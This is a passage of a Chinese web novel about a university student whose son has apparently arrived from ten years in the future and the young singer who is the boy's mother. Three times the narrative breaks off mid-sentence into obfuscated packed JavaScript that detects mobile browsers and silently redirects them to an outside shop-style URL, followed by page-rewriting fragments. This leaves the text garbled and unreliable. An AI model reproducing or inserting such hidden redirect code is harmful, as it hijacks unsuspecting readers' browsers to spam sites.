洗手间没人,走廊外也没有那个小小的身影。恐慌像冰冷的潮水瞬间漫过头顶。他转身冲了出去,视线慌乱地扫过寂静的走廊,每一个拐角都像是吞噬孩子的黑洞。 护士从厕所出来,陆桉抓住她问,“孩子呢?” “我刚去厕所,刚刚还在睡觉。” “陆阿蛋!”他提高了声音,带着掩饰不住的颤抖。 陆桉站在原地,浑身冰凉,走廊空荡荡的。 阿蛋是不是穿回了未来? 这样也好。 他不必再为天价奶粉和学费发愁,不必在深夜愧疚地面对江澈,更不用搅进与年上熙这团理不清的乱麻里。 生活可以回到原来的轨道,回到生活平静的样子。 解脱了,终于解脱了。 陆桉在原地占了许久,走廊尽头的电梯门“叮”地一声开了。 先跳出来的,是一个小小的、穿着条纹病号服的身影。 陆阿蛋额头上还贴着退热贴,小脸因为奔跑和兴奋泛着红,手里举着什么东西,正咯咯笑着回头。 “快点!” 是阿蛋。 那一瞬间,所有假设的轻松土崩瓦解。陆桉几乎能听见自己心脏落回原处的闷响,随之涌上的,是一种近乎虚脱的安心,和比安心更汹涌的酸涩。 原来,他舍不得。 仅仅半个月,这个意外闯入他生命的小家伙,他喜欢,很喜欢。 他过去一把抱住阿蛋,怀抱收得很紧,带着失而复得的微颤。 阿蛋不懂陆桉的情绪,顶着可爱的小炸毛,“爸爸,你没有骗我,睡觉起来,真的看见妈妈了。” 陆桉愣了一下,缓慢地、有些僵硬地转过头。 年上熙从电梯里走了出来。 4. 第 4 章 年上熙下车走进医院,刚要给陆桉打电话问他在哪,突然想起来她没有陆桉的联系方式。 冷风卷着消毒水的气息扑面而来,让她骤然清醒。她觉得自己犯蠢了,怎么就真得过来了。 她转身准备离开,裤腿却忽然一紧。 低头看去,一个穿着条纹病号服的小男孩抱住了她的腿。 孩子仰着脸,圆溜溜的眼睛像浸过水的葡萄,一眨不眨地盯着她。 年上熙微微抬了下墨镜,露出眼睛,“你是谁家小孩?” 小孩看到年上熙的全脸,小手抱得更紧了。 “你家长呢,怎么自己跑出来了?”年下熙觉得这小孩长得可爱,揉揉他的小脑袋。 男孩眨了眨眼,声音软糯,“姐姐,你能带我去找爸爸吗?” “你爸爸是谁,他在哪了?” 陆阿蛋拉着年上熙的手,往电梯里走,“我爸爸叫陆桉,我带你去。” “陆桉?”年下熙心想,这么巧,也叫陆桉。 不能是同名同姓吧。 年上熙观察这个小孩,差不多四岁,如果真是她知道的陆桉,那他岂不是十六七岁就当爸了? 离了大谱,但生物学上,倒也不是不可能。 年上熙抱着一种一探究竟,又仿佛吃到了大瓜的心态,任由小孩带着她去了病房。 电梯门“叮”一声打开。 一个清瘦的年轻身影猛地冲了过来,一把将孩子紧紧搂进怀里。 年上熙看着他焦急的模样,心想这该是孩子爸爸了。 只是未免太年轻了些,浑身还带着少年气,看起来像个大学生。 等等。 这张脸……怎么越看越像苏颜发来的那张陆桉的照片? 尤其是当孩子清脆地喊出那一声“爸爸”时,年下熙几乎要在心里喊出声:陆桉真的高中就当爸了?! 她还没从这口惊天大瓜里回过神,却听见孩子雀跃的声音再次响起: “爸爸,你没有骗我,睡觉起来,真的看见妈妈了。” 接着,那只软乎乎的小手又一次抱住了她的腿,脸颊亲昵地贴了上来:“妈妈,我好想你啊!!” 年上熙:??? 年上熙彻底僵住。 等一下,妈妈?叫她? 可是刚刚还叫姐姐的!!! - 陆桉让护士给陆阿蛋,重新填体温做了检查,已经在退烧了,不过体温还有点儿高。 兴许是终于见到了妈妈,精神头不错,眼睛巴巴地望着她,年上熙看过来,他嘴巴一扁,眼泪珠子就掉了下来。 在陆阿蛋的记忆中,陪伴他最多的是爸爸,妈妈要写歌,要练歌,要准备演唱会,每天都非常非常忙。 而爸爸几乎天天在家陪他,陪他玩游戏,搭乐高,陪他做更多厉害的手工,给他做好吃的饭饭,但他世界宇宙超级无敌第一爱的还是妈妈! 年上熙手足无措,“……他这是想他妈妈了?” 看来她并没有把陆阿蛋喊她妈妈的事放在心上。但陆桉更不知道怎么回答她,他真得难以说出口。 他以为她不会来,毕竟今晚上跨年,电话打过去时,江澈在洗澡……接下来的一切,他不敢细想,但断定她不会来了。 现在忽然出现,他又惊又喜,但又没有做足心理准备,紧张地掌心冒汗,不敢抬头看她。 她今天很漂亮,不是舞台上的浓妆,而是简单明媚,而是清透精致、衬得整个人明媚又大气的淡妆。 一身利落小礼服,像刚从晚宴上走出来的公主,那双水漉漉,清亮澄澈的眼睛,一抬眼便与陆阿蛋如出一辙。 尤其是一想到他们未来是夫妻关系,还生了孩子,他就特别别扭,不自在,甚至觉得这是对她的亵渎。 见陆桉没有回答,她也没什么耐心,开门见山,“你找我有什么事?” 陆桉扫了眼病房其它的病人,低声道:“我们出去说吧。” 年上熙点点头,转身走出去。 陆阿蛋立刻慌了,小身子一挣,眼眶瞬间红透,小嘴一瘪就放声大哭,小手胡乱抓着空气,哽咽着喊:“妈妈……” 年上熙脚步一顿,有些不喜欢小孩子的哭闹,不过也没说什么,快步走出去。 陆阿蛋身子往前扑,险些从床边栽下去,陆桉眼疾手快,伸手稳稳将他捞住,按回怀里。 陆桉轻拍他后背,低声哄着:“别哭,她没走,就在外面,很快回来……如果从现在开始不哭,一会我让她过来抱抱你好不好?” 陆桉看得出来,他想让年上熙抱抱他。 陆阿蛋抽涕着,仰起头,小声问,“不,不骗小孩?” 陆桉被他这突如其来的认真,逗得低笑一声,“不骗小孩。” 陆桉把他哄好,又拜托护士看着他,他去找年上熙。 现在是凌晨三点,窗外的烟花断断续续停下,零点喧闹的那一刻,到现在终于安静下来。 外面的咖啡店都关门了,两人坐在了医院的下午茶休息区。 陆桉局促地坐下,开了口,“不好意思,这么晚喊你过来。” “孩子是在找妈妈吧?”年上熙语气平淡,直接切入正题,“我可以在各个平台发寻人消息,再联系几位艺人朋友转发,一起找。” 陆桉愣了下,半晌才反应过来,“你误会了。” 年上熙眉心微蹙,实在想不明白,除了借她的名气找人,陆桉还能有什么事深夜找她。 下一秒,陆桉将一份亲子鉴定推到她面前。 年上熙低头扫过结果,瞳孔骤然一缩,眼睛猛地睁大,语气又惊又难以置信。 “陆桉,你,你真十六岁七岁就搞大别人肚子了!” 光看陆桉清隽端正的长相,真看不出来,私底下玩得这么花。 陆桉嘴角几不可查地抽了一下,刚要开口。 “孩子妈妈是谁?”年上熙已经凑近了些,“我认识吗?” 既然半夜找她过来,看来孩子妈妈她指定认识了。 “是谁啊?”年上熙一脸好奇,吃瓜的心藏也藏不住。 陆桉抬起眼,目光沉静地落在她写满好奇的脸上,清晰而平稳地吐出一个字: “你。” 年上熙:“???” 陆桉把事情的来龙去脉讲了一遍,年上熙听完后怔在原地,半晌才回过神。 “所以……你是说,这个孩子是从十年后穿越过来的。” “你和我……是孩子的爸妈?” 陆桉又拿出老怀表,“这是他穿越过来,带的唯一的东西。我仔细辨认过。这是半个月前我奶奶过世时交给我的遗物,做不了假。” 年上熙拿着老怀表看了眼,时间停留在十点钟方向,没什么独特之处,不过表盘内捕梦网的图腾很独特,也很好看。 但年上熙忽然笑了出来,但那笑意很快冻结在嘴角,眼神转为锐利的审视。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311215|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“陆桉,我是二十一岁,不是一岁,你编造故事也不要编的太离谱。” 年上熙觉得自己疯了,大半夜出来听他讲科幻故事,他清北理科状元到底怎么考上的?看他是被建筑系耽误的科幻小说家吧。 她耐心耗尽,猛地站起身就要离开。 陆桉下意识伸手抓住了她的手腕。 年上熙的目光瞬间落下,聚焦在那只握着自己的手上。仅仅一秒的触碰,陆桉便像被烫到般迅速松开,甚至向后退了半步。 他的声音里带着克制,“对不起。” 他停顿了一下,重整思绪,语气比之前更为沉缓。 “我知道这件事情匪夷所思,超出了我们目前所有的认知范围,一星期之前我跟你一样,拿到亲子鉴定的那一刻,我质疑实验室,怀疑样本,甚至觉得是世界疯了。” 他的目光落在年上熙重新变得警惕的脸上,“可是一份作假,不能三份全都是假的。” 陆桉拿出三份亲子鉴定,摆在年上熙面前。 年上熙审视地看了陆桉一眼,那眼神里充满了不信任。 她的视线最终落向那几份文件,当目光触及白纸黑字、除了日期外别无二致的鉴定结论时,她的瞳孔微微收缩。 片刻的静默后,她缓缓地、重新坐回了那张椅子。 陆桉观察着她的神色,语气放得更加小心翼翼,“我没法把孩子交给警察,很可能他会被带去进行一些超自然研究。所以今天我找你,是希望……我们能暂时一起照顾这个孩子。当然,生活上的开销我们可以共同承担。” 他顿了顿,坦诚自己的窘迫,“本来没想打扰你,但我还没毕业,经济水平还没办法独自抚养一个孩子。” 他又想起陆阿蛋哭着喊妈妈时的撕心裂肺,声音里多了份柔软的请求,“而且他太小了,才四岁,正是需要妈妈的时候。” 此刻的年上熙完全被一种茫然的慌乱攫住了。 大脑一片空白,逻辑与理性暂时退场,只剩下嗡嗡的杂音。 她根本无法在当下厘清自己究竟该怎么办,二十一岁,突然被告知有一个四岁的孩子?这远远超出了她人生计划甚至想象的边界。 可如果……如果那孩子真是她的呢? 这个假设像一颗投入静湖的石子,骤然荡开无数需要她重新审视的涟漪。 她的事业,她的爱情,还有眼前这个……突然被“孩子父亲”身份绑定的陆桉。太多太重的信息轰然压来,她还没有力气去承接和思考。 于是,本能选择了最直接的方式,落荒而逃。 年上熙猛地站起身,陆桉也紧张地站了起来,等待着她的宣判。而她几乎是有些踉跄地向后走了两步,仿佛要立刻将自己从这令人窒息的情境中抽离,陆桉眼底的光也瞬间暗下。 然而,她脚步却又突兀地顿住。 她深吸一口气,像是下了某种决心,蓦地转过身,掏出手机,屏幕的冷光映着她有些苍白的脸。 “加个微信吧。”她的声音比她自己预想的要干涩,“等……等我做完亲子鉴定,再联系你。” 陆桉将她所有的挣扎与慌乱尽收眼底。 她没有给出承诺,但愿意去做鉴定,这已是混乱中透出的一丝微弱光亮。 微信添加成功的提示音轻微响起。 年上熙收起手机,再次转身。 “等一下。” 陆桉忽然叫住她,“今晚……你能不能先陪陪他? 5. 第 5 章 年上熙不知道自己怎么就答应了陆桉的请求,等清醒过来时,她已经走进了病房。 这时候的陆阿蛋还没睡,眼巴巴的望着门口,看见年上熙进来,眼睛瞬间亮了,嘴巴一憋,伸出双手,眼泪不停地往下落,“抱抱。” 年上熙看了陆桉一眼,一瞬间有些不知所措。 陆桉读懂了她的神色,知道此刻不能再施加任何压力。 他语气放得更软,带着商量般的温和:“阿蛋,你看现在时间确实不早了……” 话音未落下,年上熙近乎本能地向前一步,伸手将陆阿蛋抱进了自己怀里。 陆阿蛋先是一愣,随即巨大的喜悦淹没了他。 他眼睛亮亮的,乖顺地窝在年上熙怀里蹭啊蹭,但还是记得与爸爸的约定,旁边有人,没有直接喊妈妈。 “我好想你,呜呜呜呜我都有好多天不见你了!” 年上熙身体有着瞬间的僵硬。 她是坚定的不婚主义,不喜欢小孩,麻烦又闹腾,但是此刻陆阿蛋被她抱在怀里,软软糯糯的,带着孩子特有的奶香气和全然的依赖,想象中的反感并未出现。 相反,心口某个一直硬邦邦的角落,竟无声无息地塌软了一块。 这感觉让她吓了一跳,没确定孩子到底是不是她的,她竟然泛起陌生的柔软,甚至夹杂着她不愿承认的母性怜爱。 这太危险了。 她下意识地低头,仔细端详起孩子的脸。她没见过自己小时候的照片,但光看眼睛跟她很像,都是水漉漉的,黑白分明的杏仁眼。 她被粉丝津津乐道的。除了这双眼睛,还有她高挺独特的小翘鼻,眼睛或许巧合,但这款鼻子,整容都复刻不出的独一份,分毫都不差地长在孩子脸上。 没有亲子鉴定,可此刻年上熙心里已经笃定,这就是她的孩子。 至于其他的地方,几乎看不出陆桉的贡献,仔细瞅瞅,嘴巴,脸型轮廓像他一点。 别说,这个孩子很会长,漂亮得像个小女孩,笑起来像个小甜豆,很可爱。 可这份暖意刚漫上心头,就被一股突如其来的怪异感狠狠掐断。 她尽管可能未来不会跟江澈在一起,那更不可能跟他舍友,生出一个孩子来。 一种近乎晕眩的荒诞感。 先不说她是不婚主义,就算结婚也绝不可能陆桉啊。 陆桉长相就不是她的菜,性格闷闷的,看起来就很无趣。更别说她的家境,那两位素来眼高于顶,又怎么可能接受陆桉这样一无所有的“负一代”? 年上熙打定主意,她可以接受这个孩子,但绝不会被那个未来左右现在。 年上熙感觉到怀中的小孩在蛄蛹,小手不停去挠脖子。 陆桉按住他不安分的小手,拿出药膏,温声哄道:“不能挠,容易留疤,我给你涂药,涂上就不痒了。” 陆阿蛋痒地想哭,但不忘给自己谋取福利,“我不要你帮我涂,你不会吹吹,妈妈会吹吹。” “我会吹,我轻轻的。” 陆桉这次没有让步,后背那片红疹看起来实在有些触目惊,密集得几乎连成一片,年上熙可能会害怕。 陆阿蛋委屈地扁起嘴,刚要哭出声,被陆桉一个严肃的眼神止住,他小心地掀开孩子的衣领,准备涂药。 年上熙这才看清,那片原本该是娇嫩光滑的皮肤上,布满了密密麻麻的红疹。 她没有上前接手,并非害怕,而是心头蓦地揪紧,泛起一阵尖锐的不忍。 “……怎么弄成这样?” 陆桉涂药的动作顿了一下,眼底清晰的愧疚,“怪我。图便宜,给他买了件料子不太好的衣服……过敏了。” 小孩子皮肤那么娇嫩,他怎么能随便乱穿衣服?一股火气瞬间窜上年上熙的心头,但想到陆桉窘迫的经济水平,话到嘴边又咽了下去。 她什么也没说,只是猛地站起身,快步走了出去。 陆阿蛋看着她的背影,用十分肯定的语气小声说:“妈妈生气了。她生气的时候,就是这样子,不说话,走得很快。” 陆桉沉默着,继续手上的动作。 陆阿蛋等了一会儿,见爸爸毫无动静,急得拽了拽他的袖子:“爸爸,你快去哄哄妈妈呀,快去。” 陆桉垂着眼眸,他没有立场去哄她。 他们之间,现在什么关系都算不上。 陆阿蛋一听,小身子一扭,躲开了陆桉涂药的手。 陆桉抬眼看他,小家伙竟一脸理直气壮,“我现在要跟你划清界限,我又没有惹她,爸爸你不要拖累我。” 陆桉被他这突如其来的叛变,弄得有些无奈,“……你这么怂呢?” 陆阿蛋挺了挺小胸脯,“我是识务杰杰。爸爸,你比我孝顺。” 陆桉:“???” 涂完药后测了体温,温度又有些回升。护士说是正常现象,让他不用太担心。 陆阿蛋明明困得眼皮打架,却仍眼巴巴望着门外。 门忽然被推开,几位医生护士快步走了进来,朝陆桉点头示意后,便有条不紊地开始收拾物品、移动病床。 陆桉有些茫然:“你们这是……” “你们转到VIP病房了。”医生简短解释。 陆桉怔了一下,知道这是年上熙做的,抱起阿蛋跟了出去。 新病房与其说是病房,不如说是一间设施齐全的居家套间,环境舒适得让陆桉有些陌生。 陆阿蛋倒是神色如常,陆桉心里明白,这才是孩子一直以来习惯的生活条件。 他不由感到几分惆怅。明明说好共同承担养育责任,可这一晚VIP病房的费用,恐怕就抵得上他一个月的实习工资。 但让阿蛋降级到自己平时的消费水平,那他就太自私了。看来必须多接些私活了。 赚钱,得拼命赚钱才行。 正想着,陆桉意识到年上熙没回来。 她离开了吗?至少该跟她道声谢。 他拿出手机,点开刚加的微信。 昵称叫“草莓熟了”,头像是她本人的卡通画,手里还抱着一颗草莓,陆桉嘴角不自觉地弯了弯,她是真喜欢草莓。 对话框里空空如也。 他犹豫着输入:你还回来吗?想了想又删掉。 重新打字:你走了吗? 还是不妥。 最后只写下“谢谢”两个字,正要发送时,年上熙却推门走了进来,身后还跟着一人,手里提着几个服装袋。 陆桉腾地站起身,陆阿蛋也眼睛一亮,大声喊道:“姐姐!” 年上熙微微一愣,意外阿蛋的称呼,让人把东西放下后便示意对方离开。 她看向陆桉,微抬下巴,“看到我这么意外?” “没、没有。”陆桉心虚,他确实没想到她又回来了,还买了很多东西。 年上熙走到床边,轻轻揉了揉阿蛋的头发,“给你买了几件衣服,按你的年龄选的,不知道合不合适。等病好了,我再带你去挑。” 阿蛋看着铺在床上的睡衣、毛衣、羽绒服、裤子和鞋子,开心得几乎要跳起来:“哇!都是我喜欢的!”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311216|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>陆桉在一旁看着两人自然亲昵的互动,发烧中的阿蛋似乎也精神了不少。他果然还是更亲近妈妈啊。 这时护士过来找他核对信息,陆桉便跟着走了出去。 病房里,年上熙轻声问阿蛋:“刚才为什么叫我姐姐?” 阿蛋眨眨眼:“因为和爸爸约好了,有别人在的时候不能叫妈妈。” 年上熙愣一下,意外陆桉的嘱托,又问,“那有别人在的时候,你会叫他爸爸吗?” “我一直叫他爸爸呀。” 年上熙想了想,“没人的时候,你可以叫我妈妈。” 阿蛋立刻抢答,“有人就叫姐姐!” 年上熙心头一软,忍不住轻轻捏了捏他软糯的小脸。 触碰间才察觉他皮肤依旧滚烫,不由蹙眉:“怎么还在发烧?” 阿蛋顺势抱住她的手臂,声音软软的:“妈妈,你能陪我睡吗?你好久没陪我一起睡了。” 这时,年上熙的手机响了,屏幕显示江澈。 她动作一顿,阿蛋立刻敏感地察觉:“妈妈,你又要走了吗?” 年上熙按掉电话,将他搂得更紧些:“不走,睡吧。” 阿蛋乖乖闭上眼睛,又眷恋地在她怀里蹭了蹭,忽然觉得有什么东西硌着。 年上熙伸手一探,摸出那块老怀表,顺手拿走,忘记还给陆桉了。 她正要把它放到床头柜上,阿蛋却一把抓住,握在手心不肯松开。年上熙抽不出来,便任由他握着。 忙碌了一天的音乐节,晚上又经历争吵,再加上突然得知这个消息,她也早已疲惫不堪。 或许是因为环境太过温暖,怀里的小人又软软糯糯,年上熙不知不觉也合上了眼睛。 年上熙觉得自己正沉在一场梦里。意识格外清醒地知道这是梦,但感觉又特别真实。 她看见自己在练歌房里反复练习,站在万人瞩目的舞台上,台下荧光如海、欢呼如潮。 原来是她明年春天的第一场演唱会啊。 尽管以旁观者的视角注视着一切,她却能清晰地感知到台上那个自己,内心的兴奋与自由。 演出圆满落幕,后台挤满了庆贺的人群。就在沸腾的欢声里,门被轻轻推开。 一个小小的身影走了进来,是穿着白色小西装的阿蛋,怀里抱着几乎把他整个人遮住的花束。 “妈妈,好棒,妈妈好腻害!” 随后陆桉也走了进来,张开双臂,年上熙忽略过矮矮的陆阿蛋,几乎是雀跃着扑进他怀里,被他稳稳接住抱了起来。 旁观着的年上熙:额…… 这时她才注意到,梦里的陆桉不像如今仍带着学生气,而是更沉稳从容。金丝眼镜后的目光深邃而温润,有种介于成熟与性感之间的魅力。 而那个自己虽依然明媚如少女,眼底却流转着柔软的、属于被爱浸润过的温柔。 年上熙忽然意识到:这不是2018年。这是……十年后。 满屋子都是同事与朋友,小阿蛋还仰着小脸在旁边看着,两人就这样旁若无人地相拥,然后吻在了一起。即便只是三秒,不,五秒,却已足够点燃全场的欢呼与口哨。 她听见陆桉低沉带笑的声音:“恭喜老婆。人生第一场演唱会,圆满成功。” 年上熙看着十年后的自己,与陆桉那副亲昵自然的模样,只觉得不可思议,甚至有些恍惚。 我是不是疯了……? 等等。 人生第一场演唱会? 那不该是2019年吗?怎么会是……十年后??? 6. 第 6 章 年上熙迷迷糊糊睁开眼时,天已经亮了。她发现自己正躺在床上,手中紧紧攥着那条老怀表。 迟钝了几秒,她才反应过来这是在医院,小阿蛋没在床上。 她随意把怀表放在床头的茶几上,想着起床,却没有看见钟表的分针从原来指向12转到了3。 年上熙刚要起床,却看见陆阿蛋和陆桉正小心翼翼地推门进来。 陆阿蛋往床上看了一眼,见没什么动静,便用气声悄悄说:“嘘,妈妈还在睡觉觉呢。” 陆桉也没看清年上熙是否醒了,于是配合着孩子放轻脚步。 两人蹑手蹑脚,尽量不发出一点声响。小阿蛋又觉得这模样好玩,脸上挂着嬉笑,一步一挪,可爱极了。 年上熙忽然有些不知该如何“自然”地醒来。 太尴尬,本意是陪孩子睡着便离开,谁料自己竟一觉睡到了第二天。 她懊恼地揉了揉头发。 原本还在用气声说话的小阿蛋,忽然停住,仰头问陆桉:“爸爸,妈妈睡醒了吗?” 陆桉看了一眼床上似乎仍无动静的人,低声说:“还没有,我们再轻一点。” 年上熙实在装不下去了,猛地从床上坐起身,没去看陆桉,只佯装伸了个懒腰。 小阿蛋立刻扑过来,脆生生喊道:“妈妈,你醒啦!” 年上熙应了一声,翻身下床,伸手去探他的额头,“好些没有?还难不难受?” 小阿蛋拉住年上熙的手不放,“不难受啦,但我想妈妈陪我一起吃早餐。我和爸爸买了好多好吃的!” 年上熙抬起头,正好与陆桉的视线对上。 陆桉正在桌边摆盘,对她说:“一起吃点吧。” 小阿蛋也用力点头,满眼期待地望着她。 年上熙想起今天还有通告安排,手机一整晚没看,不知苏颜那边急成了什么样子。 她温声同孩子商量:“我今天还有工作,改天再来陪你吃早餐,好不好?” 小阿蛋很懂事,也早已习惯了年上熙随时可能出现的工作安排。 “那好叭,”他伸出胖嘟嘟的小手,“拉钩钩喔~” 年上熙笑了,弯下腰和他拉钩、盖章。 她摸了摸身上,没找到手机,又在床边找了一圈才看见。 想打开看看苏颜发来的工作安排,却发现屏幕漆黑,手机没电关机了。 她有些着急,没电就联系不上人,连医院的门都出不去。 一只白皙骨节分明的手,在这时递过来充电器,“先充一会儿吧。” 年上熙看了陆桉一眼,无奈接过。 阿蛋立刻蹦跳起来,兴奋道:“那妈妈是不是可以跟我们一起吃早餐啦!” 年上熙还没来得及回答,就被小家伙牵着拉到餐桌旁。 桌上摆着鸡蛋、油条和小笼包。 年上熙刚坐下,陆桉便递过来两个剥好壳的鸡蛋和一杯豆浆。 她愣了一下,这是她一贯的早餐搭配,多年来雷打不动。 陆桉以为她不喝,补充道:“豆浆是无糖的。” 年上熙接过来,低声道了句“谢谢”。 她习惯性地掰开另一个鸡蛋,只留下蛋白。 阿蛋这时张开小手。 年上熙怔了怔,将蛋黄放进他掌心,“你喜欢吃蛋黄?” 阿蛋骄傲地扬起小脸:“所以我叫蛋蛋呀!” 年上熙被逗笑。 阿蛋见她手指沾了点蛋黄,懂事地递来一张纸巾,随即扭头对陆桉不满地说:“都说要给妈妈剥两个蛋白、一个蛋黄了嘛。” 陆桉没接话,只是把一盒牛奶塞到阿蛋手里。 年上熙倒觉得陆桉这样反而合适。帮她剥鸡蛋是礼貌,但若剥两个蛋白一个蛋黄,便越界了。 她很喜欢这种边界感。 他们因为孩子而坐在一起,不代表他们之间就有什么特别的关系。 年上熙有一口没一口地吃着鸡蛋,“等鉴定结果出来,我再和你谈后面的安排。” “好。” 陆桉看了一眼她有些难以下咽的表情,推过来一个小碟子,“要不试试这个?” 年上熙看过去,是一小碟辣椒面。 “单山蘸水,我老家那边的蘸料,没什么热量,配鸡蛋很好吃。” 年上熙内心是拒绝的,但出于礼貌,还是蘸了一点。 送入口中后却有些意外,味道竟很不错,她又蘸了一次。 阿蛋在一旁拍手道:“妈妈可喜欢蘸水鸡蛋啦,没有蘸水的时候,妈妈只吃一个鸡蛋,但有蘸水的话,妈妈一个人能吃三个。” 他伸出三根小胖爪比划着。 “不可能。”年上熙压根不信,“我怎么会吃三个鸡蛋。” 她本来就不喜欢鸡蛋,若不是为了保持体重根本不会碰,平时吃一个半都是硬着头皮,怎么可能吃三个。 她心底又浮起一丝难言的尴尬。 很明显,未来的她是因为陆桉才喜欢上这样的吃法。可此刻被这样当面提起,反而让她无端生出几分抵触。 她不愿相信自己会吃三个蘸水鸡蛋,就像不愿承认未来的自己,会与陆桉结婚生子。 “明明就是!” “你一定记错了。” “哼,妈妈又要赖皮!” 两人笑闹间,陆桉看见年上熙吃了另一个鸡蛋,但蘸水没再碰一下。 这时放在桌上的手机响了,他有些走神,下意识按了接听。 “陆桉,我要疯了,熙熙跟我提分手!” 江澈的声音透过扬声器传了出来。 陆桉头皮一麻,这才看清屏幕上的来电人。他下意识看向年上熙,年上熙也正抬眼看他。 江澈还在那头诉苦,“我都对她掏心掏肺了,她为什么就不能多爱我一点?” 话锋忽然一转,“分手她都敢提,谁给她的权利!” 陆桉头皮发紧,立刻想要起身出去,却被年上熙一把按回椅子上。 她用眼神逼视着他:就在这儿接。 她倒要听听,江澈在背后究竟是怎么说她的。 “我就说了一句,你一个女孩子不要这么累,以后我养你啊,她上来就泼了我一脸红酒。我靠,真是委屈死我了!” “你说她是不是有毛病?我对她好,我想养她,我心疼她累,这也有错……喂,陆桉,你怎么不说话?” 陆桉大气不敢出,只想催他挂电话,“你喝醉了,别胡言乱语,赶紧休息吧。” “我没醉!男人哭吧哭吧不是罪……对了,昨晚你是不是给我打电话了,是不是熙熙接的?” 陆桉心虚地瞥了年上熙一眼,“对,她说你在洗澡,就挂了。” “对,我是在洗澡……有事吗?” 听他没有起疑,陆桉松了口气,“我从云南带了腊肉回来,想问你要不要。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311217|198855||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “要要要!熙熙爱吃青椒炒腊肉,改天我找你拿。” 陆桉应了声,接着又听江澈哀嚎。 “你看我特地找你从云南背腊肉回来,就因为她爱吃,结果她还泼我一身!泼完就跑,消息不回,电话不接,还冷暴力我……我真是受够了!分手就分手,who怕who啊!” 见年上熙脸色越来越沉,陆桉真怕江澈再说出什么过分的话,也怕年上熙忍不住脾气直接开口对骂。 “我这边还有事……先挂了。”他匆匆掐断通话。 电话一断,年上熙冷冷瞪了陆桉,逼问,“他平时就是这么跟你吐槽我的?” “他喝醉了,你别当真。” “喝醉是理由?我看他清醒得很。我真是见识了,在我面前花言巧语,背后骂我倒是骂得挺欢。” “他平时不这样,真的。你好好跟他聊聊……” “闭嘴吧你。果然是好兄弟,你们男人没一个好东西。” 陆桉觉得自己很无辜,仿佛被误伤了。 “妈妈,”小阿蛋忽然插进来,眨巴着眼睛,“那阿蛋呢?” 年上熙神色一软,摸摸他的头,“阿蛋当然是最好的小男孩。” “那妈妈以后,是不是只亲最好的小男孩呀?” 陆桉眼皮一跳,看了阿蛋一眼,阿蛋却故意不看他。 “当然了,只亲我们香香软软的阿蛋。”年上熙在阿蛋的脸颊上亲了一口。 陆阿蛋高兴极了,搂着她的脖子也回亲一下,又说:“妈妈,我觉得这个怪叔叔坏得很,老师都说不能背后讲别人坏话,他都这么大了还不知道,让他重新回来上幼儿园吧,小班!” 年上熙心头的火气,忽然就被这童言稚语逗散了。 她捏捏阿蛋的小脸,“还是我们蛋蛋最乖。” 手机充好电后,年上熙便离开了。 陆阿蛋因为临走前得了妈妈一吻,很嘚瑟,又把年上熙给他买的新衣服搬出来,这件试试、那件试试,臭美个不停,就是故意躲着陆桉。 陆桉看出他的小心思,把他拉到身边,认真道:“以后不要对你妈妈说未来的事。” “什么是未来的事呀?” “比如蘸水鸡蛋,那是你妈妈未来喜欢吃的,但现在她可能根本不知道蘸水是什么。如果你提前告诉她,她会觉得尴尬。” “为什么呀?那本来就是妈妈会喜欢的嘛。” “未来喜欢,不代表现在喜欢。我们不能干涉她现在的选择和习惯。” “那好叭……” “那我们是不是也不该去干涉她和男朋友之间的事?” 陆桉知道阿蛋一直还在意年上熙亲江澈,但这是她的自由。 “爸爸,”阿蛋忽然扭了扭身子,“你能不能帮我穿一下鞋子呀?” “不要转移话题。你要尊重现在的妈妈,好不好?” “可我就是不喜欢她亲别的怪叔叔……妈妈明明只能亲我,还有爸爸。” “那不一样,现在你妈妈是有男朋友的。” “可是爸爸,明明是你跟我说的。妈妈只能亲你,还不能多亲蛋蛋,因为你可以亲你的老婆,我不能亲你的老婆。” 陆阿蛋很委屈,扁着小嘴,“那现在你为什么让别的叔叔亲她?她不是你老婆了吗?” 陆桉沉默了。 不是。从来都不是。 他们之间,现在毫无关系。 7. 第 7 章 2019年第一天,气温零下六度,京北笼罩在一层寒冷的薄雾里。 她先回复了苏颜工作消息,苏颜直接电话打过来。 “吵架这么严重,还玩消失?江澈都要把我手机打爆了。” “没,手机没电了。” 苏颜明显不信,“你没在家?” “他去我家找我了?” 苏颜顿了下,“他原本是要去的,但没来得及,一早就飞横店进组了。” 年上熙愣了一下,反应不大,早已经习惯。 “我在开车,一会儿公司见吧。” 挂断电话,年上熙点开微信,江澈的未读消息堆到99+,未接来电更是数不清。 【宝宝,我错了】 【错了错了】 【宝宝】 【错了嘛】 【你去哪了?】 【求你理理我好不好】 【我想你,你想怎么办都行】 